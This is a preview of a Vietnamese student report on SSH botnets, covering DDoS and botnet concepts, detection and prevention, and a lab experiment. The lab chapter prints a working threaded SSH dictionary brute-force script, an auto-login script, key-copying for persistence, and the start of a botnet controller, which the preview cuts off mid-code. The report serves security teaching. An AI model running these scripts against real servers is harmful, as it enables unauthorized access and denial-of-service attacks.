Tải bản đầy đủ (.pdf) (35 trang)

Tìm hiểu về ssh botnet

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (2.69 MB, 35 trang )

HỌC VIỆN KỸ THUẬT MẬT MÃ
KHOA AN TỒN THƠNG TIN

BÁO CÁO MƠN HỌC
KỸ THUẬT LẬP TRÌNH

Đề tài:
TÌM HIỂU SSH BOTNET

Sinh viên thực hiện:

Hà Nội, 3/2023


LỜI NÓI ĐẦU

Ngày nay, mạng Internet đang phát triển và mở rộng trên phạm vi tồn thế giới.
Các cổng thơng tin điện tử,dịch vụ mạng,… có thể là sự sống cịn của cá nhân, tổ chức.
Việc tấn cơng vào các hệ thống này với nhiều mục đích khác nhau: kinh tế, cá nhân ,
thậm chí mang màu sắc chính trị ,… có thể gây ra tổn thất khơng nhỏ. Cùng với sự phát
triển không ngừng của Công nghệ thông tin ,các kỹ thuật tấn công ngày càng tinh vi, đổi
mới và luôn là nỗi lo lắng của các nhà quản trị mạng. Một trong những kỹ thuật tấn
công là sử dụng botnet trong đó có SSH botnet - một trong những loại botnet đang phát
triển mạnh mẽ và gây nguy hiểm cho các hệ thống mạng.
SSH botnet là một mạng lưới các máy tính bị sử dụng để thực hiện các tấn công vào
các hệ thống mạng khác. Chúng ta cần nghiên cứu về SSH botnet để hiểu rõ cách hoạt
động của nó, nguy cơ và tác hại mà nó gây ra cho các hệ thống mạng, và cách phòng
tránh và chống lại nó.
Nghiên cứu về SSH botnet cịn giúp cải thiện việc bảo mật cho các hệ thống mạng của
chúng ta. Đồng thời, nó cịn giúp cho các doanh nghiệp và cá nhân cảnh giác về những
tấn công mạng mà họ có thể gặp phải, và nêu ra cách phòng tránh chúng.


Với tất cả những lý do trên, chúng em đã chọn tìm hiểu về SSH botnet .

1


TĨM TẮT NỘI DUNG ĐỀ TÀI
- Hiểu về tấn cơng DDoS , mạng botnet , đặc trưng ,quy trình và giai đoạn tấn công
- Nghiên cứu khái niệm SSH botnet , cách thức hoạt động và các hình thức tấn cơng
- Các phát hiện, ngăn chặn, chiến lược phịng thủ và bảo mật hệ thống để đối phó với tấn
cơng bằng SSH botnet.
- Thử nghiệm và đánh giá hiệu quả trên môi trường thực tế.

2


LỜI NĨI ĐẦU
TĨM TẮT NỘI DUNG ĐỀ TÀI
DANH MỤC HÌNH ẢNH
Chương 1: Tìm hiểu chung về DDoS
1.1 Định nghĩa cuộc tấn cơng DDoS
1.2 Đặc trưng cuộc tấn cơng DDoS
1.3 Tìm hiểu về mạng botnet
1.3.1 Khái niệm về mạng botnet
1.3.2 Quy trình hoạt động của mạng botnet
1.4 Các giai đoạn một cuộc tấn cơng DDoS
Chương 2. Tìm hiểu về SSH botnet
2.1 Định nghĩa và cách hoạt động của SSH botnet
2.2 Các loại SSH botnet
2.3 Các hình thức tấn cơng của SSH botnet
2.4 Ưu điểm và nhược điểm của SSH botnet

2.5 Một số loại kỹ thuật phát hiện tấn công SSH botnet
2.6 Các giải pháp ngăn chặn
Chương 3 : Thực nghiệm tấn cơng SSH botnet
3.1. Mơ hình thực nghiệm
3.2 Kịch bản : Tiến hành kết nối Attacker
3.2.1 Mục tiêu
3.2.2 Thực hiện
3.2.3 Kết quả
3.2.3 Đánh giá thực nghiệm
KẾT LUẬN
TÀI LIỆU THAM KHẢO
PHỤ LỤC

1
2
4
5
5
5
6
6
6
7
8
8
8
9
10
11
11

13
13
14
14
14
29
29
30
31
32

3


DANH MỤC HÌNH ẢNH
Hình 3.1.1: Mơ hình thực nghiệm………………………………………………………..13
Hình 3.1.2: Địa chỉ IP Botmaster………………………………………………………..13
Hình 3.1.3: Địa chỉ IP Attacker………………………………………………………….14
Hình 3.2.1. : Thơng tin user + ip………………………………………………………...15
Hình 3.2.2 : Qt được các port đang mở của ip………………………………………..15
Hình 3.2.3: Mật khẩu máy client.………………………………………………………...18
Hình 3.2.4: Kết nối thành cơng tới Attacker……………………………………………..20
Hình 3.2.5: Các gói tin khi kết nối SSH được Wireshark chụp lại……………………….20
Hình 3.2.6: Chi tiết 1 gói tin SSH………………………………………………………..21
Hình 3.2.7: Chi tiết gói tin SSH………………………………………………………….22
Hình 3.2.8: Tạo khóa RSA…………………………………………………………….…23
Hình 3.2.9: Sao chép khóa tới máy Attacker…………………………………………….23
Hình 3.2.10: Website trước khi bị tấn cơng……………………………………………...26
Hình 3.2.11 : Cơng cụ đang khởi chạy…………………………………………………..27
Hình 3.2.12: Cơng cụ Wireshark đang chụp lại các gói tin từ Botmaster tới Attacker…28

Hình 3.2.13 : Cơng cụ Wireshark đang chụp lại các gói tin từ Attacker tới Web Server..28
Hình 3.2.14 : Website bị sập và không thể truy cập sau khi tấn công…………………...29

4


Chương 1: Tìm hiểu chung về DDoS
1.1 Định nghĩa cuộc tấn công DDoS
Tấn công từ chối dịch vụ (Denial of Service Attack) là một loại tấn công mạng được sử
dụng để tối đa hóa số lượng các yêu cầu gửi đến một máy chủ. Điều này có thể dẫn đến
việc hệ thống bị tắc nghẽn bởi vì bị tận dụng tới mức tối đa khiến cho người dùng hợp pháp
không thể truy cập vào tài nguyên và dịch vụ của máy chủ. Mục đích chính của cuộc tấn
cơng là vơ hiệu hóa việc sử dụng dịch vụ trên Internet hoặc một mạng nào đó đã được kẻ
tấn cơng nhắm tới. Thơng thường, cuộc tấn cơng này có thể được phát hiện từ xa.
Tấn công từ chối dịch vụ phân tán (Distributed Denial of Service Attack - DDoS) là
một cải tiến của cuộc tấn công DoS, cả hai loại tấn công đều có mục đích làm cạn kiệt tài
ngun của mạng bị tấn cơng khiến hệ thống trì trệ và có thể dẫn đến ngừng hoạt động.
Hacker sử dụng một số lượng khổng lồ các gói tin từ nhiều máy phân tán (điểm khác nhau
giữa DDoS và DoS) với các địa chỉ IP khác nhau để gửi tới máy cần tấn công.
Một cuộc tấn công DDoS thường bao gồm các thành phần sau:
-Botnet: một mạng lưới các thiết bị đã bị kiểm sốt từ xa bởi kẻ tấn cơng.
-Master: là kẻ tấn công điều khiển botnet
-Handler: các máy chủ được sử dụng để điều khiển botnet
-Các máy chủ phân tán: các máy chủ đóng vai trị làm nhiệm vụ phân tán tác động của
cuộc tấn công
-Packet generators: các công cụ được sử dụng để tạo ra một lượng lớn yêu cầu từ
botnet tới mục tiêu.
-Mục tiêu: là trang web, dịch vụ trực tuyến hoặc hệ thống mạng bị nhắm vào để gây
gián đoạn và mất dữ liệu.
1.2 Đặc trưng cuộc tấn công DDoS

-Sử dụng một số lượng hàng trăm hàng ngàn máy tính để tấn cơng hay cịn thường
được gọi là Botnet
-Tấn cơng DDoS có thể rất khó để truy ngược kẻ tấn cơng bởi có rất nhiều máy tính
tham gia, và kẻ tấn cơng có thể giả mạo địa chỉ IP để lẩn trốn.

5


-Phịng chống tấn cơng là rất khó bởi số lượng các máy tấn cơng tham gia. Cấu hình
tường lửa để chặn một vài IP là có thể nhưng với số lượng lớn các địa chỉ IP độc hại được
tạo ra bởi hàng ngàn Zombies thì gần như khơng thể xác định và ngăn chặn.
-Sự ảnh hưởng của tấn công DDoS là lớn hơn nhiều so với tấn cơng DoS.

1.3 Tìm hiểu về mạng botnet
1.3.1 Khái niệm về mạng botnet
Botnet là một mạng lưới các máy tính bị chiếm quyền hoặc lây nhiễm bởi phần mềm
độc hại, được điều khiển bởi một hoặc nhiều người dùng từ xa để thực hiện các hoạt động
độc hại như tấn công mạng, spam email, phá hoại, trộm thông tin, khai thác tiền điện tử, và
các hình thức tấn cơng khác.
Các máy tính trong botnet thường không biết rằng chúng đã bị chiếm quyền hoặc nhiễm
virus, và tất cả các hoạt động của chúng đều được điều khiển từ xa bởi các hacker. Một số
botnet lớn có thể bao gồm hàng triệu máy tính trên toàn thế giới và được sử dụng để thực
hiện các cuộc tấn công mạng lớn, gây ra thiệt hại đáng kể cho các tổ chức và doanh nghiệp.
Các bot trong botnet thường được cài đặt trên các máy tính thơng qua email lừa đảo, trang
web độc hại hoặc lỗ hổng bảo mật của hệ thống. Khi đã được cài đặt, chúng kết nối với
máy chủ điều khiển và chờ lệnh để thực hiện các hoạt động độc hại.
1.3.2 Quy trình hoạt động của mạng botnet
Đánh vào những lỗ hổng an ninh, những bản vá cũ hay những server đã lỗi thời, các Bot
ẩn mình trong các máy tính của khách hàng – kết nối sẵn với Botmaster, chỉ đợi lệnh và
điều khiển từ Botmaster để tiến hành hoạt động của mình. Sau khi nhận lệnh từ hacker, mỗi

Bot có một hoạt động riêng tùy theo sự điều khiển từ phía ngồi. Nó có thể tấn cơng theo
nhiều cách như là: Tạo Spam, tấn công DDoS, chiếm giữ hệ thống, lừa đảo ăn cắp thông
tin. Dù cách tấn công như nào thì mục đích cuối cùng của nó cũng chỉ là điều khiển hoạt
động của máy tính bị nhiễm, bắt buộc người dùng phải làm theo mệnh lệnh của nó.
Nếu ta tấn cơng ngược lại Botnet thì cũng khơng thể đánh sập lại hệ thống máy chủ, mà
đôi khi lại gặp những nạn nhân bị nhiễm khác, giống như hoạt động lặp lại pear – to – pear.
Các máy tính bị nhiễm liên kết với nhau lại tạo thành mạng Botnet và càng khó khăn hơn
trong việc tìm ra mạng điều hành phía sau.

6


1.4 Các giai đoạn một cuộc tấn công DDoS
-Thu thập thông tin: Các tội phạm sẽ thu thập thông tin về mục tiêu của họ, bao gồm địa
chỉ IP và các cổng mạng mà họ có thể tấn cơng.
-Lựa chọn công cụ tấn công: Tội phạm sẽ chọn công cụ tấn công phù hợp để tấn công
mục tiêu của họ. Cơng cụ này có thể là một chương trình độc hại hoặc phần mềm tạo lưu
lượng mạng giả mạo.
- Phân tán botnet: Tội phạm sẽ cố gắng phân tán botnet của họ trên nhiều thiết bị khác
nhau. Botnet là một mạng các thiết bị được kiểm soát từ xa bởi tội phạm, được sử dụng để
tấn công mục tiêu.
-Tiến hành tấn công: Tội phạm sẽ gửi một lượng lớn yêu cầu đến mục tiêu của họ, khiến
cho hệ thống bị quá tải và không thể phục vụ yêu cầu từ người dùng hợp lệ.
-Xóa dấu vết: Khi tấn cơng đang diễn ra, các nhà cung cấp dịch vụ mạng (ISP) hoặc các
tổ chức bảo mật có thể phát hiện và chặn các gói tin tấn cơng hoặc phá vỡ botnet. Tuy
nhiên, các tội phạm có thể sử dụng các kỹ thuật để tránh được phát hiện.
-Kết thúc cuộc tấn công: Cuối cùng, tội phạm sẽ ngừng tấn công khi họ cảm thấy đã đủ
hoặc bị ngăn chặn bởi các tổ chức bảo mật.

7



Chương 2. Tìm hiểu về SSH botnet
2.1 Định nghĩa và cách hoạt động của SSH botnet
Định nghĩa: SSH botnet là một mạng botnet được điều khiển từ xa bằng cách sử dụng
giao thức SSH (Secure Shell) để tấn công hệ thống đã bị xâm nhập. Các bot trong mạng
này sẽ sử dụng các tài khoản SSH bị đánh cắp để truy cập vào các hệ thống mục tiêu và
thực hiện các hoạt động tấn công như phát tán mã độc, thực hiện tấn công từ chối dịch vụ,
trộm thông tin, hoặc thậm chí kiểm sốt hệ thống từ xa.
SSH botnet hoạt động theo cách sau:
- Tìm kiếm các máy chủ SSH: Botnet sẽ tìm kiếm các máy chủ SSH trên internet bằng
cách sử dụng các kỹ thuật quét địa chỉ IP hoặc tìm kiếm trên các danh sách các máy chủ đã
biết.
-Lây nhiễm: Khi botnet tìm thấy các máy chủ SSH, nó sẽ sử dụng các lỗ hổng bảo mật
hoặc kỹ thuật đăng nhập bằng vét cạn mật khẩu để lây nhiễm vào các máy chủ đó.
-Thiết lập kết nối: Sau khi lây nhiễm thành công, botnet sẽ thiết lập kết nối giữa các
máy chủ để tạo thành một mạng lưới điều khiển.
-Kiểm soát: Sau khi đã thiết lập được kết nối giữa các máy chủ, botnet sẽ sử dụng các
lệnh SSH để kiểm soát các máy chủ trong mạng lưới của nó. Các lệnh này có thể bao gồm
thực hiện các cuộc tấn cơng, triển khai các chương trình độc hại hoặc đánh cắp dữ liệu.
-Phân tán lây nhiễm: Khi một máy chủ được kiểm soát bởi botnet, botnet sẽ sử dụng
máy chủ này để tiếp tục tìm kiếm và lây nhiễm các máy chủ khác.
-Thu thập dữ liệu: Botnet sẽ thu thập thông tin từ các máy chủ mục tiêu, bao gồm tài
khoản đăng nhập, thông tin hệ thống, tệp tin và dữ liệu khác.
-Chuyển tiếp: Botnet sẽ chuyển dữ liệu và điều khiển từ các máy chủ mục tiêu về các
máy chủ kiểm soát, cho phép kẻ tấn cơng kiểm sốt và quản lý botnet từ xa.
-Tiếp tục hoạt động: Botnet sẽ tiếp tục hoạt động cho đến khi bị phát hiện và xóa bỏ
hoặc bị ngừng hoạt động bởi các biện pháp phịng ngừa tấn cơng.
2.2 Các loại SSH botnet
Dưới đây là một số loại SSH botnet phổ biến:

8


-SSH worm botnet: Sử dụng các lỗ hổng bảo mật trên các máy chủ SSH để lây nhiễm
và kiểm soát các máy chủ khác.
-SSH credential stuffing botnet: Sử dụng các danh sách tài khoản và mật khẩu bị đánh
cắp từ các trang web khác để đăng nhập vào các máy chủ SSH.
-SSH exploit botnet: Sử dụng các lỗ hổng bảo mật trên các máy chủ SSH để đưa mã
độc vào hệ thống và kiểm sốt các máy chủ đó.
-SSH brute-force botnet: Sử dụng các từ điển mật khẩu để thử đăng nhập vào các máy
chủ SSH với nhiều cấu hình khác nhau để đánh cắp thông tin đăng nhập.
-SSH proxy botnet: Sử dụng các máy chủ SSH để truy cập vào các trang web bị chặn
hoặc ẩn danh trên internet.
-SSH ransomware botnet: Sử dụng các máy chủ SSH để triển khai các chương trình mã
hóa ransomware và địi tiền chuộc từ nạn nhân.
-SSH mining botnet: Sử dụng các máy chủ SSH để thực hiện khai thác tiền điện tử
(cryptocurrency) bằng cách sử dụng tài nguyên của các máy chủ đó.
2.3 Các hình thức tấn cơng của SSH botnet
SSH botnet có thể thực hiện nhiều hình thức tấn cơng khác nhau, dưới đây là một số ví
dụ:
-Brute-force attacks: Đây là phương pháp đánh mật khẩu phổ biến nhất mà SSH botnet
sử dụng để tấn công các máy chủ SSH. Botnet sẽ thử tất cả các khả năng mật khẩu để đăng
nhập vào máy chủ SSH, nếu mật khẩu đúng, botnet sẽ tiếp tục lây nhiễm máy chủ.
-DDoS attacks: SSH botnet có thể được sử dụng để thực hiện cuộc tấn công DDoS trên
các mục tiêu khác nhau, như các trang web, máy chủ, ứng dụng, vv. Botnet có thể tạo ra
hàng nghìn hoặc hàng triệu kết nối từ các thiết bị được lây nhiễm để gửi lưu lượng truy cập
lớn đến mục tiêu, khiến cho mục tiêu không thể truy cập được từ người dùng thật.
-Port scanning: Botnet có thể thực hiện quét cổng để tìm kiếm các thiết bị và máy chủ
có các lỗ hổng bảo mật để tấn cơng. Sau đó, botnet sẽ tìm cách tấn cơng vào các thiết bị này
để lây nhiễm và tạo thành một mạng lưới botnet lớn hơn.

-Data theft: Botnet có thể được sử dụng để đánh cắp thông tin nhạy cảm từ các máy chủ
được lây nhiễm. Botnet có thể thu thập thơng tin cá nhân, thơng tin tài khoản, thơng tin thẻ
tín dụng và các thông tin quan trọng khác từ các máy chủ này.
9


-Cryptocurrency mining: SSH botnet cũng có thể được sử dụng để đào tiền điện tử bằng
cách sử dụng các thiết bị IoT hoặc máy chủ để tạo ra năng lượng tính tốn cần thiết để đào
tiền điện tử.
Các hình thức tấn cơng này chỉ là một số ví dụ, SSH botnet có thể sử dụng nhiều
phương pháp khác nhau để tấn công và gây hại cho mục tiêu của chúng.
2.4 Ưu điểm và nhược điểm của SSH botnet
Ưu điểm:
-Tấn công từ xa: SSH botnet cho phép kẻ tấn công tấn cơng từ xa mà khơng cần có mặt
vật lý tại địa điểm tấn công. Điều này làm cho tấn công trở nên dễ dàng hơn và giúp kẻ tấn
công giữ tính bất khả chiến bại.
-Khả năng mở rộng: SSH botnet có khả năng mở rộng tốt, cho phép kẻ tấn công tấn
công đồng thời nhiều hệ thống thông tin, làm cho tấn công trở nên mạnh mẽ hơn.
- Sử dụng các thiết bị kết nối IoT: Với sự phát triển của cơng nghệ IoT, SSH botnet có
thể tấn cơng các thiết bị kết nối IoT như camera an ninh, bóng đèn thông minh, máy in, v.v.
Điều này làm cho tấn cơng trở nên đa dạng và khó phát hiện hơn.
-Tấn cơng hiệu quả: SSH botnet có khả năng tấn cơng hiệu quả và chính xác, giúp kẻ tấn
cơng lấy được thơng tin quan trọng hoặc kiểm sốt hệ thống.
Nhược điểm:
-Phát hiện dễ dàng: Các hệ thống bảo mật hiện đại có khả năng phát hiện các hoạt động
tấn cơng của SSH botnet, làm cho tấn cơng trở nên khó khăn hơn.
-Phụ thuộc vào các thiết bị kết nối IoT: SSH botnet phụ thuộc vào các thiết bị kết nối
IoT để tấn công. Nếu các thiết bị này được bảo vệ tốt, tấn cơng có thể khơng thành cơng.
-Phụ thuộc vào việc kiểm soát hệ thống: Khi các hệ thống bị kiểm sốt, SSH botnet
khơng thể tấn cơng thành cơng. Điều này đặc biệt đúng đối với các hệ thống được cập nhật

đầy đủ và được bảo mật tốt.
-Không đảm bảo thành công: SSH botnet không đảm bảo sẽ thành công trong việc tấn
công các hệ thống, tùy thuộc vào mức độ bảo mật của hệ thống cũng như khả năng phát
hiện của các hệ thống bảo mật.

10


2.5 Một số loại kỹ thuật phát hiện tấn công SSH botnet
-Giám sát lưu lượng mạng: Phát hiện tấn công SSH botnet thông qua giám sát lưu
lượng mạng để phát hiện các gói tin đáng ngờ. Bằng cách phân tích lưu lượng mạng và
các thơng tin kết nối, có thể nhận ra các kết nối bất thường đến từ nhiều địa điểm khác
nhau.
-Giám sát log: Giám sát các log liên quan đến tấn công SSH botnet như log của SSH
server, log đăng nhập hệ thống và các log khác. Bằng cách theo dõi các hoạt động này, có
thể phát hiện các hoạt động bất thường hoặc đăng nhập không thành cơng nhiều lần từ
các địa chỉ IP khác nhau.
-Phân tích gói tin: Phân tích các gói tin SSH để xác định các tấn công SSH botnet.
Các đặc điểm của các gói tin đáng ngờ bao gồm kích thước lớn, thời gian phản hồi chậm
và địa chỉ IP nguồn hoặc đích không đáng tin cậy.
-Phát hiện đối tượng tấn công: Phát hiện các đối tượng tấn công bằng cách sử dụng
các công cụ giám sát mạng hoặc phần mềm giám sát hệ thống. Những đối tượng tấn công
phổ biến của tấn công SSH botnet bao gồm các địa chỉ IP đáng ngờ, các tên đăng nhập
không đúng, các yêu cầu đăng nhập đến các tài khoản khơng có quyền truy cập và các
hoạt động không đáng tin cậy từ các máy chủ.
-Sử dụng IDS/IPS: Sử dụng hệ thống phát hiện xâm nhập (IDS) hoặc hệ thống ngăn
chặn xâm nhập (IPS) để phát hiện và ngăn chặn tấn công SSH botnet. IDS hoạt động
bằng cách giám sát lưu lượng mạng để phát hiện các hoạt động đáng ngờ, trong khi IPS
có thể tự động chặn kết nối từ các địa chỉ IP đáng ngờ hoặc từ các tài khoản đăng nhập
khơng chính xác.

2.6 Các giải pháp ngăn chặn
Dưới đây là một số cách phòng chống SSH botnet:
-Cập nhật bảo mật thường xuyên: Các lỗ hổng bảo mật trên các máy chủ SSH có thể
được khai thác bởi SSH botnet để lây nhiễm vào hệ thống. Do đó, cập nhật bảo mật thường
xuyên sẽ giúp giảm thiểu nguy cơ bị tấn công.
-Sử dụng mật khẩu mạnh: Sử dụng mật khẩu mạnh và độ dài mật khẩu tối thiểu là 12 ký
tự, bao gồm cả chữ cái, số và ký tự đặc biệt sẽ giúp tăng độ bảo mật của hệ thống SSH.
-Giới hạn quyền truy cập: Giới hạn quyền truy cập cho các tài khoản SSH, giảm thiểu
khả năng các tài khoản này bị lợi dụng bởi SSH botnet để tấn công hệ thống.
11


-Sử dụng phần mềm chống virus: Sử dụng phần mềm chống virus sẽ giúp phát hiện và
ngăn chặn các phần mềm độc hại liên quan đến SSH botnet.
-Sử dụng các công cụ giám sát mạng: Các công cụ giám sát mạng sẽ giúp phát hiện các
hoạt động lạ trên mạng, đồng thời cung cấp thông tin về nguồn tấn công, giúp quản trị viên
hệ thống có thể đưa ra các biện pháp phòng ngừa kịp thời.
-Sử dụng các giải pháp bảo mật mạng: Sử dụng các giải pháp bảo mật mạng như tường
lửa và VPN sẽ giúp giảm thiểu khả năng bị tấn công bởi SSH botnet.
-Xác thực hai yếu tố: Sử dụng xác thực hai yếu tố sẽ giúp tăng cường độ bảo mật của hệ
thống SSH, bởi vì người dùng phải cung cấp cả mật khẩu và mã xác thực để đăng nhập vào
hệ thống.

12


Chương 3 : Thực nghiệm tấn công SSH botnet
3.1. Mô hình thực nghiệm

Hình 3.1.1: Mơ hình thực nghiệm


Hình 3.1.2: Địa chỉ IP Botmaster

13


Hình 3.1.3: Địa chỉ IP Attacker
3.2 Kịch bản : Tiến hành kết nối Attacker
3.2.1 Mục tiêu
Điều khiển máy Attacker có mật khẩu yếu và tiến hành HTTP Flood Attack (DDoS)
3.2.2 Thực hiện
Giai đoạn 1:
Bước 1: Sử dụng các công cụ để tìm kiếm Attacker .
Sử dụng “Advanced ip scanner” : quét sẽ hiển thị danh sách các các user + ip
Sử dụng “nmap” để kiểm tra ip đó các port đang mở bằng câu lệnh:
nmap -F <ip>

14


Hình 3.2.1. : Thơng tin user + ip

Hình 3.2.2 : Quét được các port đang mở của ip
Bước 2: Tấn công dictionary .
Cố gắng đăng nhập vào các máy chủ SSH bằng cách thử nhiều mật khẩu khác nhau. Khi
một bot thành công trong việc đăng nhập vào một máy chủ SSH, nó sẽ gửi thơng tin về mật
khẩu đã tìm thấy.
Code dictionary attack : dictionary-pxssh.py
from pexpect import pxssh
import optparse

import time
15


from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print("[+] Password Found: " + password)
Found = True
except Exception as e:
if 'read_nonblocking' in str(e):
# print("Err1")
Fails += 1
time.sleep(5)
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep(1)
#print("Err2")
connect(host, user, password, False)
finally:
if release:
# print("Finally")

connection_lock.release()
# print("Release")

16


def main():
parser = optparse.OptionParser('Missing flag: ' + '-H <target host> -u <user> -F
')
parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
parser.add_option('-u', dest='user', type='string', help='specify the user')
options, args = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user = options.user
if host == None or passwdFile == None or user == None:
print(parser.usage)
exit(0)
fn = open(passwdFile, 'r') #open file passwdFile
for line in fn.readlines():
if Found:#true
print("[*] Exiting: Password Found")
exit(0)
if Fails > 5:
print("[!] Exiting: Too Many Socket Timeouts")
exit(0)
connection_lock.acquire()

password = line.strip('\r').strip('\n')


print("[-] Testing: " + str(password))
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
print('start')

17


if __name__ == "__main__":
main()
Lệnh chạy code:
python3 dictionay-pxssh.py -H <target host> -u <user> -F

Hình 3.2.3: Mật khẩu máy client
Bước 3: Tiến hành kết nối ssh tới máy client .
Code ssh-pexpect.py :

import pexpect
import struct, fcntl, os, sys, signal, termios

def sigwinch_passthrough (sig, data):
# Check for buggy platforms (see pexpect.setwinsize()).
if 'TIOCGWINSZ' in dir(termios):
TIOCGWINSZ = termios.TIOCGWINSZ
else:
18


TIOCGWINSZ = 1074295912 # assume

s = struct.pack ("HHHH", 0, 0, 0, 0)
a = struct.unpack ('HHHH', fcntl.ioctl(sys.stdout.fileno(), TIOCGWINSZ , s))
global global_pexpect_instance
global_pexpect_instance.setwinsize(a[0],a[1])

ssh_newkey = 'Are you sure you want to continue connecting'
p=pexpect.spawn('ssh ')
i=p.expect([ssh_newkey,'password:',pexpect.EOF,pexpect.TIMEOUT],1)
if i==0:
print("I say yes")
p.sendline('yes')
i=p.expect([ssh_newkey,'password:',pexpect.EOF])
if i==1:
print("I give password", end=' ')
p.sendline("ubuntu")#nhap passwd
elif i==2:
print("I either got key or connection timeout")
pass
elif i==3: #timeout
pass
p.sendline("\r")
global global_pexpect_instance
global_pexpect_instance = p
signal.signal(signal.SIGWINCH, sigwinch_passthrough)
19


try:
p.interact()
sys.exit(0)

except:
sys.exit(1)

Hình 3.2.4: Kết nối thành cơng tới Attacker

Hình 3.2.5: Các gói tin khi kết nối SSH được Wireshark chụp lại
20


Hình 3.2.6: Chi tiết 1 gói tin SSH
Phân tích gói tin : thông tin kết nối SSH giữa một client và server. Nó hiển thị các thơng số
mà client và server sử dụng để thiết lập kết nối SSH an tồn. Các thơng số này bao gồm
phiên bản SSH, thuật tốn mã hóa, thuật tốn key exchange và các thuật toán khác để bảo vệ
kết nối :
Sử dụng phương thức trao đổi khóa curve25519-sha256 để trao đổi khóa, với mã hóa
Elliptic Curve Diffie-Hellman Key Exchange Reply
Sử dụng kiểu khóa host ecdsa-sha2-nistp256 để bảo vệ q trình trao đổi khóa
Ký và chứng thực thơng tin khóa host bằng kiểu ecdsa-sha2-nistp256

21


Hình 3.2.7: Chi tiết gói tin SSH
Bước 4: Thiết lập khóa RSA :
-’ssh-keygen -t rsa ‘: tạo khóa rsa

22


Hình 3.2.8: Tạo khóa RSA

-’ssh-copy-id -i ~/.ssh/id_rsa.pub user@remote_host’ : copy khóa tới Attacker

Hình 3.2.9: Sao chép khóa tới máy Attacker
.

Bước 5 : Thêm Attacker mới vào danh sách các botnet, điều khiển tất cả botnet:
23


import os
import optparse
from pexpect import pxssh
os.system('cls' if os.name == 'nt' else 'clear')
print('''
======================================
SSH BOTNET
-------------------------------------2023
======================================''')
class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()
def connect(self):
try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:

print(e)
print('\033[91m[-] Error Connecting \033[0m')
def send_command(self, cmd):
24


Tài liệu bạn tìm kiếm đã sẵn sàng tải về

Tải bản đầy đủ ngay
×